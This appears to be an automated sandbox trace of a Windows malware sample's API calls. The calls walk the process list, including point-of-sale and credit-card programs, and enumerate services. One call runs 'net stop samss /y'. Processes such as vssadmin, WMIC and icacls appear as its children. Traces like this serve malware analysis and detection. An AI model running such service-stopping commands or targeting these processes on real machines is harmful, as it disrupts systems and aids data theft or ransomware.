	[0218.262] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0218.265] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0218.268] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0218.271] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0218.274] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0219.174] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0219.177] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0219.181] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0219.184] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0219.187] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0219.190] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0219.194] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0219.197] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0219.200] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0219.202] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0219.206] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0219.209] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0219.800] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0219.811] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0219.815] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0219.819] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0222.440] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0222.443] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0222.445] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0222.449] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0222.452] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0222.455] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0222.458] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0222.461] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0222.464] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0222.467] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0222.471] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0223.052] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0223.056] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0223.059] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0223.063] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0223.067] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0223.070] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0223.073] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe6, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0223.076] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0223.079] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0223.081] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0223.085] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0223.088] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0223.092] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x167c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0223.413] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0223.416] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x168c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0223.419] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0223.422] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x172c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0223.426] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x167c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0223.429] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0223.432] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1674, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0223.435] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x21b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0223.438] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x242c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0223.441] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0223.444] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0223.447] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0223.448] CloseHandle (hObject=0x1880) returned 1
	[0223.761] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0xe5fc0
	[0223.763] EnumServicesStatusW (in: hSCManager=0xe5fc0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0 | out: lpServices=0x0, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0) returned 0
	[0223.765] VirtualAlloc (lpAddress=0x0, dwSize=0x17b5, flAllocationType=0x1000, flProtect=0x40) returned 0x2760000
	[0223.766] EnumServicesStatusW (in: hSCManager=0xe5fc0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x2760000, cbBufSize=0x17b5, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0 | out: lpServices=0x2760000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0) returned 1
	[0223.769] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0232.951] Sleep (dwMilliseconds=0x96) 
	[0235.066] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.749] Sleep (dwMilliseconds=0xc350) 
	[0245.931] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x1e20
	[0247.788] Process32FirstW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0247.794] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0247.797] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0247.800] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0247.802] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0247.805] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0248.189] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0248.191] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0248.194] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0248.198] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0248.201] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.203] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.206] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.209] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.212] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.215] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.220] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.222] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0248.225] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
